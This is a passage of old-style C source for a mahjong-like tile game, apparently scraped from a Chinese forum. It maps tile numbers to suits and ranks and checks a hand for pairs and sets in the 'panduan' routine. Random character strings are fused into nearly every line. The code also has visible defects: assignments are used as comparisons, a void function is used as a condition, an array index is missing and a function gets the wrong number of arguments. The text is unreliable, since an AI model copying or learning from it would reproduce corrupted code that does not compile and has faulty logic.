logoo=3;( [: |0 i1 I9 v% E' l! g
else if(computer.pp[c].number&lt;=51 &amp;&amp; computer.pp[c].number&gt;=48)" I; z! o6 l" Q6 h) E
logoo=4;- X/ w3 C, W  c) ?# x1 u+ r
else if(computer.pp[c].number&lt;=55 &amp;&amp; computer.pp[c].number&gt;=52)
5 k* B' [, S) h7 {( tlogoo=5;1 L  A5 H$ Q+ ^, G1 H; s
else if(computer.pp[c].number&lt;=59 &amp;&amp; computer.pp[c].number&gt;=56)
6 @( B7 P1 }  Q: F' g. m  Flogoo=6;
3 Y5 x8 ?) Q' z' Y9 A! \% B9 b. Relse if(computer.pp[c].number&lt;=63 &amp;&amp; computer.pp[c].number&gt;=60)6 T( R- |$ I: _
logoo=7;
! Q4 t9 P) [6 b, nelse if(computer.pp[c].number&lt;=67 &amp;&amp; computer.pp[c].number&gt;=64)& r4 Q7 F" x1 g. U
logoo=8;: G1 Z6 _! p2 U# C
else if(computer.pp[c].number&lt;=71 &amp;&amp; computer.pp[c].number&gt;=68)
, G, Y; M+ ^1 P3 Plogoo=9;
9 c* e; }1 V8 E& x" x" r/ [( b* t3 e/ f}
0 C6 P: Z5 X" Velse if(computer.pp[c].number&lt;=107 &amp;&amp; computer.pp[c].number&gt;=72)) m/ P- E, i. N# O1 s
{; c! N, q! D2 {& a
logo=3;
& }. v2 w& N1 K& a6 nif(computer.pp[c].number&lt;=75 &amp;&amp; computer.pp[c].number&gt;=72)
9 b' [( |- ^  M% H. c) x% mlogoo=1;/ @5 h. ~" w0 |5 d; m6 O2 l1 S
else if(computer.pp[c].number&lt;=79 &amp;&amp; computer.pp[c].number&gt;=76)3 ~% g* S) F. f0 ?9 y; X8 K+ U
logoo=2;) L: i; X9 w) e0 M: Z2 X
else if(computer.pp[c].number&lt;=83 &amp;&amp; computer.pp[c].number&gt;=80)
) h9 w: }) }, H* v9 [5 @logoo=3;8 ]  R+ O+ b8 t0 o
else if(computer.pp[c].number&lt;=87 &amp;&amp; computer.pp[c].number&gt;=84)
2 ?) Q1 r1 P# F  Q: R# u" D" Vlogoo=4;
" K+ |' C+ U) p: G2 m% Selse if(computer.pp[c].number&lt;=91 &amp;&amp; computer.pp[c].number&gt;=88)9 O3 }4 Q) y& T8 M
logoo=5;/ _' Y" @  N. y( e. n1 [- ]
else if(computer.pp[c].number&lt;=95 &amp;&amp; computer.pp[c].number&gt;=92)
8 @! \) I3 a7 C) [logoo=6;' M# c5 R: q) B  R& H3 B
else if(computer.pp[c].number&lt;=99 &amp;&amp; computer.pp[c].number&gt;=96)5 N, J) I$ R+ E9 U
logoo=7;) F% q# o) A% ^* @
else if(computer.pp[c].number&lt;=103 &amp;&amp; computer.pp[c].number&gt;=100)3 L1 j, M5 {5 v9 C: D
logoo=8;
( Q2 o3 V7 Y7 s0 K- Aelse if(computer.pp[c].number&lt;=107 &amp;&amp; computer.pp[c].number&gt;=104)
8 `# B0 c6 }. Clogoo=9;
, }  m% K4 X1 x+ i0 z- \% p}
! j& ^; Q3 B6 w4 x% Pelse if(computer.pp[c].number&lt;=135 &amp;&amp; computer.pp[c].number&gt;=108)
; [/ f7 H4 T( b5 ~{
& ?3 a) H  C/ y' Y- J( z/ Ylogo=4;5 g' G' c+ j* H" f* I
if(computer.pp[c].number&lt;=111 &amp;&amp; computer.pp[c].number&gt;=108)
% N& _# b, m* N2 F* d8 Klogoo=1;; k( v9 Z6 ~! F5 ^
else if(computer.pp[c].number&lt;=115 &amp;&amp; computer.pp[c].number&gt;=112)
6 M! L3 V  M; dlogoo=2;
5 A+ v/ S% T" B6 J7 m9 Selse if(computer.pp[c].number&lt;=119 &amp;&amp; computer.pp[c].number&gt;=116)
% e/ @7 {; S' `  J5 B2 ylogoo=3;
8 i0 {$ K& E" y8 Welse if(computer.pp[c].number&lt;=123 &amp;&amp; computer.pp[c].number&gt;=120)
- y! {: K$ A! `0 c, G! j- Xlogoo=4;
" W: h  a2 d* k% p* q6 M$ R0 F* Pelse if(computer.pp[c].number&lt;=127 &amp;&amp; computer.pp[c].number&gt;=124)
" ]: e8 U; i) N1 alogoo=5;1 l9 A! T* W1 F- g- ?- L
else if(computer.pp[c].number&lt;=131 &amp;&amp; computer.pp[c].number&gt;=128)
4 `  y* h0 Q7 {6 d! Q7 T9 C  d! P, Ilogoo=6;" T1 ?- x  r' a! q( |
else if(computer.pp[c].number&lt;=135 &amp;&amp; computer.pp[c].number&gt;=132)- e2 k% a$ y, @
logoo=7;1 o4 o7 R( p. B* A: v
}+ m# b) Q. t& a5 v# Z# {( Y$ U. I3 l
while(b&lt;=me.m)! d  I3 V; V* n4 Q* A$ r- e0 n, U
{+ A! B  Y' V( z% `9 `
if(me.pp.number&lt;=35 &amp;&amp; me.pp.number&gt;=0) /*我分析后出了第一张牌*/
3 N% L# m6 T1 j{
- F" i0 S/ w' B' x- wlg=1;# F  H- J! @: y2 Q
me.pp.d[0]=1;6 z+ ~) G6 S( V- x& B, H# C5 y6 n
if(me.pp.number&lt;=3 &amp;&amp; me.pp.number&gt;=0)
9 L9 l1 B+ W7 ]{# L1 f; B5 o' d* c7 g6 M4 ]6 Y9 M
lgg=1;
- U/ p& F  e! R2 gme.pp.d[1]=1;5 A7 m2 y- x: }: `* D2 n, y
}0 r! V' }9 X# ?6 q( _
else if(me.pp.number&lt;=7 &amp;&amp; me.pp.number&gt;=4)- f" V( O, Y7 E. U, ?. @
{2 E1 x" d6 k; U0 H
lgg=2;
" j# F3 N) w4 e1 Wme.pp.d[1]=2;
( n1 v0 b. j1 r. X+ z4 `}
) h* m5 ]! {2 r: z% a/ yelse if(me.pp.number&lt;=11 &amp;&amp; me.pp.number&gt;=8)
- h+ c! z3 }( C3 Y& L3 v$ V{3 N9 A3 m* Y8 F% T
lgg=3;
! v( |" _9 g+ Sme.pp.d[1]=3;: k) D+ I# u& W3 |+ L2 N6 J; X
}
$ y- q8 V9 C, J& o# u( velse if(me.pp.number&lt;=15 &amp;&amp; me.pp.number&gt;=12)
1 l) ]6 h6 {% I9 P  U$ h{3 L: _+ N4 E' K  S. Z
lgg=4;3 t. i- H1 r/ E1 _; x
me.pp.d[1]=4;; B0 f! p: t' r; g2 x! g4 k
}
: k: o0 {+ w8 h3 N+ Eelse if(me.pp.number&lt;=19 &amp;&amp; me.pp.number&gt;=16)
3 Z( ]9 @% T/ }/ P* w1 h{
( y9 S, V; o) A1 Z+ t6 jlgg=5;. r2 k: d) }; Z& Y. C8 ~( M: f
me.pp.d[1]=5;9 L( [* I! N; k+ A& d. ]
}7 G# ^+ P" f- I0 g& r
else if(me.pp.number&lt;=23 &amp;&amp; me.pp.number&gt;=20)# n1 T4 {& L+ o/ R7 l; x
{3 ?5 E- T+ s( b
lgg=6;
: ?* ~) I7 |# W6 sme.pp.d[1]=6;# R  g/ g2 L" t% E4 A. j
}
3 n$ `% s; j4 r+ \else if(me.pp.number&lt;=27 &amp;&amp; me.pp.number&gt;=24)
, D: q+ H4 s) |% |. e) K+ d{, H6 I( r4 L3 j& a9 k7 ]4 E& }$ r6 l
lgg=7;1 H9 f, A0 z) l  a' \7 w
me.pp.d[1]=7;1 o4 Y6 W; Z6 H% g# S1 L2 c, ?# \
}& u$ }/ @& k7 V: A
else if(me.pp.number&lt;=31 &amp;&amp; me.pp.number&gt;=28)3 P  G* k$ C; I/ S5 [9 L/ z8 ~
{
" {, s; T5 h+ g3 V/ c# A5 k5 s: R  elgg=8;
( [; `2 `) T# D- Y5 A8 b8 fme.pp.d[1]=8;
) s! O1 w+ u& @9 b' N}7 i4 T7 \! S3 z8 l
else if(me.pp.number&lt;=35 &amp;&amp; me.pp.number&gt;=32)
9 W" H; q, M& V" o{
/ a5 t1 Y% Y5 l9 Q; i9 h5 D9 x0 xlgg=9;
5 _- H# u8 m. F$ `+ ame.pp.d[1]=9;
; o' r7 U# Y- O- T}8 y6 F  |0 R( L: P, h5 J* T
}% q( Y2 Y4 e0 j1 m4 Q$ C
else if(me.pp.number&lt;=71 &amp;&amp; me.pp.number&gt;=36)
# c/ J9 c9 Y/ {1 q. }' N9 U{
0 t2 _! U2 e& j" elg=2;
6 u* }$ @# N- L3 u0 f6 rme.pp.d[0]=2;
, i% l' u1 Z4 @# M, v$ D" E% Gif(me.pp.number&lt;=39 &amp;&amp; me.pp.number&gt;=36)! P1 d9 |+ n4 I: K, X
{
+ t. H! H8 P9 ~" o( U0 Olgg=1;4 n. M- k% a0 c. _. a
me.pp.d[1]=1;
6 _9 x8 K# E- p5 f9 D}! k, \' {+ \  i  `- C5 {, p  J% J
else if(me.pp.number&lt;=43 &amp;&amp; me.pp.number&gt;=40)* m+ j  k( M* z6 L1 }/ ~2 _2 s
{+ ~9 s# v% h: z$ y9 C) E
lgg=2;/ R5 c: r5 Z& r
me.pp.d[1]=2;5 E+ l% i2 ^: Z9 n: r$ L( @
}. F8 Z6 ~+ M4 Q; z" r7 M
else if(me.pp.number&lt;=47 &amp;&amp; me.pp.number&gt;=44)2 a% Y% W! U# I: {$ K) x  s6 n
{8 `$ j; s! q  X  {4 ]
lgg=3;) V. k3 `; W7 m0 n% O3 ^
me.pp.d[1]=3;5 f  y$ L# Y( e
}% t# X6 l; E" y( Q, u4 G% k. z- w
else if(me.pp.number&lt;=51 &amp;&amp; me.pp.number&gt;=48)
' e- G% ~! [- j  x0 y9 X{- X4 W+ d1 ]% S. X" b
lgg=4;* c/ E4 N+ X" ~/ A
me.pp.d[1]=4;4 |! M. F5 X3 z. b5 H- P
}
3 r' `9 N0 g/ F( Ielse if(me.pp.number&lt;=55 &amp;&amp; me.pp.number&gt;=52)
. x: p6 S' M) b{, v  K$ Z6 F. z" G4 q
lgg=5;. n; C/ O1 `& l
me.pp.d[1]=5;9 g  `6 f/ ^; @7 Y+ s. H- l
}9 f+ q5 k2 [3 n( J
else if(me.pp.number&lt;=59 &amp;&amp; me.pp.number&gt;=56)+ q! a, q3 ?( r; @
{* y# J! ^$ z& z1 I8 E
lgg=6;; g$ w1 @- X  Z9 @: D; N2 H. f( W
me.pp.d[1]=6;3 \" Q- E+ R3 o
}
7 I9 l3 ~3 \$ j5 b2 u4 w- a! helse if(me.pp.number&lt;=63 &amp;&amp; me.pp.number&gt;=60)
+ F) u# a% E2 |$ D0 X1 n: T{
8 r0 h1 \' S; {lgg=7;
0 k$ x  p' T7 O" G7 ~+ D* |( O+ X$ Mme.pp.d[1]=7;. ?% ^" ]  Y$ s" n6 o, O6 L
}
3 w+ u+ U1 c4 q0 selse if(me.pp.number&lt;=67 &amp;&amp; me.pp.number&gt;=64), I; g" u# J; Q% S
{. W2 Y4 q* o5 J! M/ V( J
lgg=8;5 B3 X  R  U; b/ b" i- b' X& F3 z
me.pp.d[1]=8;8 \, G; l6 l. M2 B5 D8 D
}
0 p  V+ }0 z1 y# g5 t$ C! velse if(me.pp.number&lt;=71 &amp;&amp; me.pp.number&gt;=68)$ H) i. o; d6 ^+ U6 {0 ?
{' ], E6 t/ Y  m. Y2 A
lgg=9;
9 }8 q8 N) r8 h. t' Hme.pp.d[1]=9;
6 H8 R) Z# r* `0 @}2 h) w2 n# n3 n7 }4 I) c
}
* d- N* `. }0 R5 d; Telse if(me.pp.number&lt;=107 &amp;&amp; me.pp.number&gt;=72)/ A, ]5 q1 _& Q  k7 S/ F0 J! a# `2 t& Y
{9 Y7 x- E6 Z6 r
lg=3;
* ]) K- s3 u2 E6 d* B; s! hme.pp.d[0]=3;% s% m" z$ b* G7 Z+ F; c$ E
if(me.pp.number&lt;=75 &amp;&amp; me.pp.number&gt;=72)% L) d7 Z+ I' P" L, w4 ~2 f3 Y
{
! K1 X3 O8 y$ n6 t8 _lgg=1;
8 `* R: W  d$ |6 x2 ume.pp.d[1]=1;
2 ?: s4 t5 o; W. i4 L, Z}& s8 f8 v5 _/ U5 |( P: [
else if(me.pp.number&lt;=79 &amp;&amp; me.pp.number&gt;=76)
$ ^8 N6 M( `+ v# i{
# v" y/ J' ^: \9 a+ m7 Ilgg=2;: ~6 J3 V8 d* R! n& R$ O
me.pp.d[1]=2;
4 C* u5 P3 E% f}
# ?3 ?% u( N$ `* w, Oelse if(me.pp.number&lt;=83 &amp;&amp; me.pp.number&gt;=80)
/ B' g; L# i% n7 j( R  _! X! M{6 o( I. o7 d  s$ T* Y* L! d
lgg=3;& f) R- n2 Q! X+ ^. Y$ l* l$ S# x
me.pp.d[1]=3;2 P! V6 Z$ S2 q# U9 Q5 t) R! H$ J
}" ]' F& F5 h  d. M% H, m+ L/ p
else if(me.pp.number&lt;=87 &amp;&amp; me.pp.number&gt;=84), v. O" n7 ?8 W  B* B' {
{1 {4 @5 k. o; a! r0 `8 |
lgg=4;! k1 z% N' U* S; Z
me.pp.d[1]=4;
! o: V1 i) ?# n6 c}3 ]( Y( K7 q# T, Y0 T6 R8 u
else if(me.pp.number&lt;=91 &amp;&amp; me.pp.number&gt;=88)
. j5 g/ t- c# n" T{
& }, l4 E1 r% |) y3 q9 olgg=5;
+ ~& P2 o) @# ?: Q. j: ^# O' Hme.pp.d[1]=5;
- d6 Z; Q( ~1 U9 ]6 R7 w+ x  |}
& k/ d0 H) g( ]; f0 B. Ielse if(me.pp.number&lt;=95 &amp;&amp; me.pp.number&gt;=92)$ [9 ^; }4 L. b. }3 G
{
! }& ?: B+ h$ C, j5 J: x4 Klgg=6;
# P3 ^" {* F" J3 V% Ime.pp.d[1]=6;
8 `  m) I8 R6 c8 l& `3 @}  u' w1 P- s1 l  P
else if(me.pp.number&lt;=99 &amp;&amp; me.pp.number&gt;=96)
$ r% E' Q5 Z2 T2 e+ T+ d; H9 f{' ~6 Y7 d# ~" T
lgg=7;1 R' p. n! a7 h
me.pp.d[1]=7;$ h2 K! ]  D# H8 T6 F/ ]( M+ X2 J
}
) U# k1 V% _$ H8 belse if(me.pp.number&lt;=103 &amp;&amp; me.pp.number&gt;=100)* r: P0 s6 [( [  l6 F4 O) ^' T- y
{
$ g! V7 {+ B+ mlgg=8;/ o9 @2 B% c1 [- h) @8 k
me.pp.d[1]=8;
! X$ d3 \! G/ S  y}
. z& W8 H! n' s3 c2 ?else if(me.pp.number&lt;=107 &amp;&amp; me.pp.number&gt;=104); S* W) c/ |: m  Z& F8 _9 F2 _' U
{& c# M0 p: v* g; A2 s
lgg=9;
( r# G$ p* Q! Z4 G+ l( a8 Xme.pp.d[1]=9;! _- ?  G+ I: O8 k2 t! d& h+ p$ |
}. {3 D4 G1 o1 O2 G" R
}
8 C- u8 B) v  V3 A9 L( \% Delse if(me.pp.number&lt;=135 &amp;&amp; me.pp.number&gt;=108)0 B, U- @7 q: Y, x
{8 I2 x+ V* v" W* B# x- j. P( p5 |
lg=4;
6 G7 f1 X% e- @+ Z; gme.pp.d[0]=4;
: {) @8 A$ A7 o( G7 Aif(me.pp.number&lt;=111 &amp;&amp; me.pp.number&gt;=108)" T' |# b1 s# ?% _- c
{; P  J$ ^& N$ Z! k: F* _
lgg=1;
9 e2 W2 X- W2 _4 N, Y% q: Ome.pp.d[1]=1;) R- ]+ h' y& W. g2 }3 a
}
0 T3 C: T4 u& v( p7 O  D) belse if(me.pp.number&lt;=115 &amp;&amp; me.pp.number&gt;=112)
. ~' e' d3 T/ U) q6 }/ l{
/ z6 ^/ G7 n* i  w4 ~: Jlgg=2;
* f( D3 _& a! Tme.pp.d[1]=2;
; ?% x1 S! w; Y) `5 @" O}
, c7 K' U- L9 {% }0 Xelse if(me.pp.number&lt;=119 &amp;&amp; me.pp.number&gt;=116)* j+ L6 k7 Z& Y. G+ O, {8 t9 P; \
{& _; Z( w; P9 Z/ z1 B& g
lgg=3;
( ?! @( P- _/ eme.pp.d[1]=3;1 R. `' p; U$ b6 @) \
}
/ Q% [( ?- k% Nelse if(me.pp.number&lt;=123 &amp;&amp; me.pp.number&gt;=120)0 q8 h. `0 P0 g
{8 U% }1 {6 J" x# b
lgg=4;
" I7 Z  r$ {7 Ime.pp.d[1]=4;! T5 O/ T! s- u; u) b
}, B" a! ~; w  R* k; m8 P
else if(me.pp.number&lt;=127 &amp;&amp; me.pp.number&gt;=124)& @$ J. O5 M; E/ G7 a4 x  I
{
5 D) z) v" @( N* b2 N: zlgg=5;0 K4 h7 P3 i: F
me.pp.d[1]=5;
; q3 l9 Y/ ]2 t7 l+ i* \}3 i/ Y  A2 E) Q" q
else if(me.pp.number&lt;=131 &amp;&amp; me.pp.number&gt;=128)
- {; P" n  V3 f, W3 @{
. @# Z" {2 V1 H/ Y: b* ulgg=6;
+ q# g% w% `5 C: `9 m4 bme.pp.d[1]=6;% Y8 y7 J0 B) q5 c! F2 J9 a6 ^
}, ?4 j; X  i2 ^! t) }3 M
else if(me.pp.number&lt;=135 &amp;&amp; me.pp.number&gt;=132)
# A0 p6 C' Q: }9 A: n/ p{( x' h4 A# b) c+ F2 {
lgg=7;
, F1 x) I3 }, F+ {, ^+ v3 _# l3 Ume.pp.d[1]=7;
* i0 ]$ t/ k# N}
1 ]& L5 v. x$ o- k}
# S, P& s/ C  e. e" J. h; l}, `& _' I% f- o9 X
}
; g+ Z: [- M0 V, S+ h! Ovoid istwo(testt): T! {+ j) M3 t; p
int testt[];" c  \/ g  E" F5 M
{ if(testt[0]==testt[1])+ |7 f+ B; P: ^: D0 @7 W: u; b
second++;
: r3 K+ z$ h1 I}
3 U3 z* d- z; `, ]; P# xvoid isthree(testt,n)
8 D8 f1 Z6 v* X) _3 g$ Q4 Vint testt[],n=0;1 H, ^. I1 b8 _
{ int i,j,flage=0,lianx=0,same=0;
; L6 U0 e% g. X% [8 E$ \n=n/3;1 V: h* a* X) h, N
for(j=0;j&lt;n;j++)
% @0 v( ]! Y9 ~) M# }7 }{
6 E. Z" X% `4 x6 Ifor(i=j*3;i&lt;2+j*3;i++)* r: o8 c- }' a% j2 j
{
( }+ P+ x2 y$ S& Hif(testt==testt[i+1])' U+ v' c% l! \/ |
same++;
6 w/ W  L  g0 N! C0 }& Wif(testt[i+1]-testt==1)8 `; p. N, m* g3 l8 E
lianx++;* r. c& s, t/ @7 O3 v7 p
}
& t% v8 o; ^+ r3 S% Kif(same==2)0 k6 G1 j* v2 {5 n4 a0 N) p, L$ b
threes++;
% R) Z' m: b' Z1 S  ^4 @4 I/ }4 Vif(lianx==2)
# j% l6 `6 Y  sthrees++;5 {0 Q( J: O  n, \8 M0 B
same=0;
6 v# H$ [) K! d# T$ |$ O2 o" I5 Klianx=0;) E5 o7 G4 J4 ?$ U4 i% ]
}
! P7 c5 `; M  G3 Y- N}
& a1 `: h# C3 `% A- wvoid panduan() /*本程序的精髓*/7 E# b: r% a" I
{int data[14];7 F6 |6 d& }& `9 o/ |0 n5 X( Y9 k
int pw[14];* \( G8 o4 V; g6 p: N- |4 o/ P
int pt[14];1 W+ b( `. j! {) L, D! V3 w9 K
int pi[14];
& u# e. r" E* eint pf[14];, `1 M/ t) g+ H; j
int test[12];
1 W, |9 b- w! H$ F  Q- bint jj,w,mm,nn,tpp=0,lp=0,ww=0,tt=0,ii=0,ff=0;ill=0;& Z; d6 s) z% D2 L, {
for(jj=0;jj&lt;=me.m;jj++)( M7 `7 ~! o0 ]& Z5 t3 c* k. J- q; v
{
/ @# }) ~( f; J( c" I1 yif(me.pp[jj].d[0]==1)' q6 }% f6 N- W$ L4 G& b3 {! z+ X
data[jj]=me.pp[jj].d[1];
* d* w, o* z5 c) iif(me.pp[jj].d[0]==2)
( J. W* \$ p8 o; R5 C! ]data[jj]=me.pp[jj].d[1]+10;
& j- f/ ?5 V$ i0 v: G8 x" G/ [if(me.pp[jj].d[0]==3)7 ]9 G7 }3 e, H' o
data[jj]=me.pp[jj].d[1]+20;
+ A1 X: |6 B; r! Z/ sif(me.pp[jj].d[0]==4): D+ Q$ t, V( N/ Z7 l
data[jj]=me.pp[jj].d[1]+30;5 P; @% Z, `- [) K# Z6 o% n
}4 x) w* q! E/ g& X
if(logo==2)
  D. G5 j+ B$ {( W) j% B  |, ]w=logoo+10;! l4 P8 F) l4 G7 |9 c
if(logo==3), U0 N/ B* O1 ^' J3 |
w=logoo+20;
* `6 S8 N: J. [+ I" c" dif(logo==4)5 b) D3 P( p+ Q' p: V1 x& v" O: k
w=logoo+30;8 ?6 F2 e) s1 W2 B
data[computer.m+1]=w;2 J5 \  P, Q9 w" h2 e
for(mm=0;mm&lt;=computer.m;mm++)' P6 L$ O) _) C. y+ ]$ q+ H1 k
for(nn=mm;nn&lt;=computer.m;nn++), |: q& B% P" Y# Z+ ]
if(data[mm]&gt;data[nn+1])
2 `5 P$ @: ?! c3 n0 ?{' R+ S' `6 _0 p# V0 }8 O
tpp=data[mm];
- D: L, H7 H! |; K+ s& ddata[mm]=data[nn+1];
/ f1 g+ C/ p/ D8 `3 F5 ]data[nn+1]=tpp;
5 `+ a/ F2 @7 `+ ?, L  g, p9 `; ?+ y}4 `& k$ d7 |" y' m% R
lp=0;
. L! w, x3 f5 l+ pwhile(lp&lt;=computer.m)5 J5 @* T! }4 x. G
{ if(data[lp]&lt;10)
* {; s0 R, X* X" q9 C( Rpw[ww++]=data[lp];) I- F& j, [& X& Z- @& q0 s
if(data[lp]&gt;10 &amp;&amp; data[lp]&lt;20)
: l  Z& O9 f% M7 H4 Opt[tt++]=data[lp];! M7 U0 O& V8 c
if(data[lp]&gt;20 &amp;&amp; data[lp]&lt;30)  S; o1 r+ c0 s. E1 t2 l% U
pi[ii++]=data[lp];
4 g. s2 w3 j. V8 Vif(data[lp]&gt;30 &amp;&amp; data[lp]&lt;38)
7 E5 j& E+ k; R  k. j, j( wpf[ff++]=data[lp];- C6 c% v3 G' o( S
lp++;
& X# s4 _( Q- F* L1 Y+ x4 O6 j}
7 E$ k0 y- g5 d  t- Uif(ww==2)
! z7 I6 G, Z, ^- Qistwo(pw);
: d3 C+ |, i$ Z. \/ ?8 selse if(ww==3)2 `; m1 x; `8 w  H8 N" A5 ]9 ~
isthree(pw,ww);4 J8 l8 O) {) Q  j5 a
else if(ww==5)
9 I- C7 D; s1 S% Z' p5 t( w/ q/*pw[5]原始牌数组,假设已经升序排列*/
$ q. K, N5 _' I9 m5 F/*test[3]用来放置测试牌的数组*/: z" g7 C# H  a9 e! P! j
for(i=0;i&lt;4;i++)
- x; T2 E* h$ X+ f/ r{
2 U- U) {' y. ^3 A  w. {# X* m2 [for(j=0;j&lt;2;j++)7 U/ q. t2 m) v+ G
{test[j]=pw[i+j];* U$ X6 d0 T/ Y8 s& C
}
9 i; [8 q: B! b' ]% x$ oif(istwo(test))1 L2 V' o0 o; H
{ ill=0;
( h& T9 w9 L9 c# l" afor(kl=0;kl&lt;5;kl++) /*把不在test数组中的三张放到test数组中*/8 p( Y1 n; t  M! j! c4 u
{if(kl==i)
; F) `0 n% }' E0 \( X4 a' r{: X8 e5 t  c5 b9 d( H. x0 ]
kl=kl+2;
' }0 e9 o8 m' }6 K3 ~9 W; Q! }4 G3 wif(kl==5)
' N, @: Z) ^, w/ u, }break;
2 c3 a% m- h! U% l  W1 h! i! @/ q}$ W3 c5 }; d2 _* k( ]- c
test[ill++]=pw[kl];
3 w0 c: D( k3 z% s0 M. A7 [- b}
5 ~. [- A  _0 V( }isthree(test);
5 I7 f# o# ]% ]8 X}
7 g, Z8 s& M0 b7 U. F' z0 Z}5 [6 B! E4 Q  h
else if(ww==6)
; ?9 W) }$ s* j7 jisthree(pw,ww); 0 O, G8 y! ]; Q2 K9 U
else if(ww==8)
% }) C5 I: n1 w; `: X6 yfor(i=0;i&lt;7;i++)
& z( U* Y& V, F: d% I6 z' n! T  n/ {{& P  z: j' C& D: H4 M- [
for(j=0;j&lt;2;j++)+ c2 g( g) V5 }. D, S9 r- Z
{test[j]=pw[i+j];
) |1 P; ]+ C* d4 f% s/ p}) r, v" _/ i8 f
if(istwo(test))$ p5 d5 c$ [3 `% F; a1 ^
{ ill=0;; N( J( s1 U; @+ r6 |# C& M
for(kl=0;kl&lt;8;kl++) /*把不在test数组中的六张放到test数组中*/1 I6 L# w5 H& W( h4 W
{if(kl==i)
( b; z0 v% u7 M  L& G8 ?" e9 r* M{. ?2 @5 ?- f" w( m5 V
kl=kl+2;
% u6 e9 A5 f) y+ g* a0 o( W6 Sif(kl==8)9 }4 z7 T1 I* d1 [& c. {
break;
8 A9 E$ C+ h4 j) ?/ k) L$ T}. Y: U+ ?1 }# ~+ E% ?
test[ill++]=pw[kl];
+ v+ S6 r" s( |" W}
. q5 I- J" @9 X# v4 ~isthree(test,ww-2);
+ i2 J: p) N* S- m9 h3 i) x( n}
" S& D7 F: i& z5 k# `/ g) b6 M! k}
" C& l! t9 j- w; Y4 uelse if(ww==9)1 o% G8 q) k, H
isthree(pw,ww);/ E5 k4 {2 E. ?! J
else if(ww==11)7 w' v) t+ P* s5 ~" M2 d* y
for(i=0;i&lt;10;i++)* Y% [  \# s2 r9 H$ y. p1 {& ?
{
! K* S8 m" y( @. h" Rfor(j=0;j&lt;2;j++)
1 [8 X- N* d9 K{test[j]=pw[i+j]; ) G* l8 X1 `, Q" H2 L" E
}
( q  L0 K% c: P9 Y  Uif(istwo(test))
" T, x% {3 \$ \{ ill=0;
4 {7 |: t( O3 ]9 gfor(kl=0;kl&lt;11;kl++) /*把不在test数组中的九张放到test数组中*/9 I* N: k2 H" D' P
{if(kl==i)! L+ X+ C, q% h5 h5 R8 r2 O1 h* N% O
{2 z; }: ?+ N# x, a, L4 g8 `
kl=kl+2;: H9 F- u! H* P5 s/ g
if(kl==11)
8 }# d' ^- n; Sbreak;
" w% F/ V/ X7 ^& m$ ]6 y2 Z}
& Y  |4 m8 P* U: Qtest[ill++]=pw[kl];5 q/ v+ }: Q, k0 S& e4 n7 U
}+ s3 M* l, J" T& V/ Q; V' S
isthree(test,ww-2); ' O/ y, G' e$ i! \' P
}
* L$ O$ V6 z6 F}
7 U  l% Q6 K6 N% Jelse if(ww=12)
. ?0 b: C# g2 R  g' q( P& Nisthree(pw,ww);; s9 Z$ x& y% e4 u) h( }
else if(ww=14)
1 J8 t( c5 h: J6 zfor(i=0;i&lt;13;i++)
* R" J8 R* h; q4 }% H1 u. z% n{
" T- b. j7 m+ P8 W% s- l+ {for(j=0;j&lt;2;j++)
% c) d8 @" \& W+ C9 O& y{test[j]=pw[i+j];/ x, o6 P- A# X( [
}7 X# q9 N+ {5 k2 M* x/ d5 A  i( R9 i
if(istwo(test))% A) j- m. ]( w4 v* h: G9 K  B
{ ill=0;7 b) _  z0 S6 a" m% l& [
for(kl=0;kl&lt;11;kl++) /*把不在test数组中的九张放到test数组中*/( U$ m, S% w( f! n$ ^
{if(kl==i)
8 j7 d  y+ Z, r{
- M2 T) d# x3 x" W) Qkl=kl+2;$ P. s% V- S) B  M0 {
if(kl==14)
6 u; X, T. D4 z* u* pbreak;, s# K6 K/ |  c2 _
}
9 F' Z, |9 h0 q& w+ v+ s4 e8 etest[ill++]=pw[kl];' c6 f/ }1 a9 q. W7 l2 K; K2 |$ C
}
+ d9 x" y1 ^- M! |) N# U5 Risthree(test,ww-2);
" \3 K/ e/ P8 y, h- v" a}
6 \$ j5 N  ~9 n& ?+ k}+ L* s( C3 o0 }
if(tt==2)9 [, S9 y/ G% B/ y1 [4 D, R8 o
istwo(pt);
! _# q% o: e7 ^else if(tt==3)
6 j; ], H5 K4 Y* c2 K  Cisthree(pt,tt);
! I) d  x- `% q" [" i* Zelse if(tt==5). _" p2 E7 H6 A9 m/ r
/*pt[5]原始牌数组,假设已经升序排列*/6 m  O$ w- N; H" `
/*test[3]用来放置测试牌的数组*/
# C2 a/ D* [, e/ r4 w6 Kfor(i=0;i&lt;4;i++)
0 ~( o8 z7 T! A9 {+ Q1 U{1 E4 m. P8 w+ y3 t$ f  r$ [
for(j=0;j&lt;2;j++)
1 G, w! u; p1 ^* l. m- Z  B: z{test[j]=pt[i+j]; 8 G6 q" v- _& Y0 }
}
: a$ q, F8 j+ D3 Sif(istwo(test))6 H; F/ V, p9 W; i, F3 w5 c9 W5 ^( K
{ ill=0;
: H9 y, ]+ h; X. F9 k2 Cfor(kl=0;kl&lt;5;kl++) /*把不在test数组中的三张放到test数组中*// `6 s5 G9 ~+ [7 c& s
{if(kl==i). u. m# K  E7 D+ u/ {
{: \% m( _, a* {) Q# ?1 k9 c' g# z% ]
kl=kl+2;8 ?! `! @8 R! W/ w: u3 z
if(kl==5)
; i9 S  N4 }, {4 G* e3 abreak;6 I; e. f( V' k2 \6 ]8 ^
}
. r0 `, E2 n8 Q9 Z) Y9 S8 J6 c" stest[ill++]=pt[kl];
8 k5 ^2 H/ J& L0 i}4 f5 C, o- {6 {* c
isthree(test);
+ q! X- H9 p" m/ \; ]}, C& ]5 S* y4 r- b, v- y
}7 `( F+ T6 t! G
else if(tt==6)# A0 K4 T0 ?1 r* A
isthree(pt,tt); $ j9 U8 n1 {! z, b: w9 @2 B5 [2 l
else if(tt==8)" F1 Z, b# h! H& S( z' M& x
for(i=0;i&lt;7;i++)
5 M! Q2 I2 Y; U8 q3 A# `2 L# z{( v; s. ?7 H$ |2 H2 l
for(j=0;j&lt;2;j++)! s  j4 L+ _) M4 q; [
{test[j]=pt[i+j];
+ f- n, x; _+ V. k) H, M}, }' u, C, M6 X; p
if(istwo(test))4 |8 q% |( z2 S4 k
{ ill=0;. ]/ v- G% Q8 U% O' t
for(kl=0;kl&lt;8;kl++) /*把不在test数组中的六张放到test数组中*/: l: z; ?4 f* d. X. R4 K
{if(kl==i)
6 G! [0 K# }0 O' ]5 M+ w$ \* u{+ A7 b* u. x) z4 o1 z
kl=kl+2;
: X) ~( K% I! f4 L5 ~+ |1 Mif(kl==8)
6 d4 k2 [. s: y& a1 qbreak;
" P( P% N# ]$ `3 n6 b- K}
. S, X4 _1 @7 C, m/ [2 atest[ill++]=pt[kl];
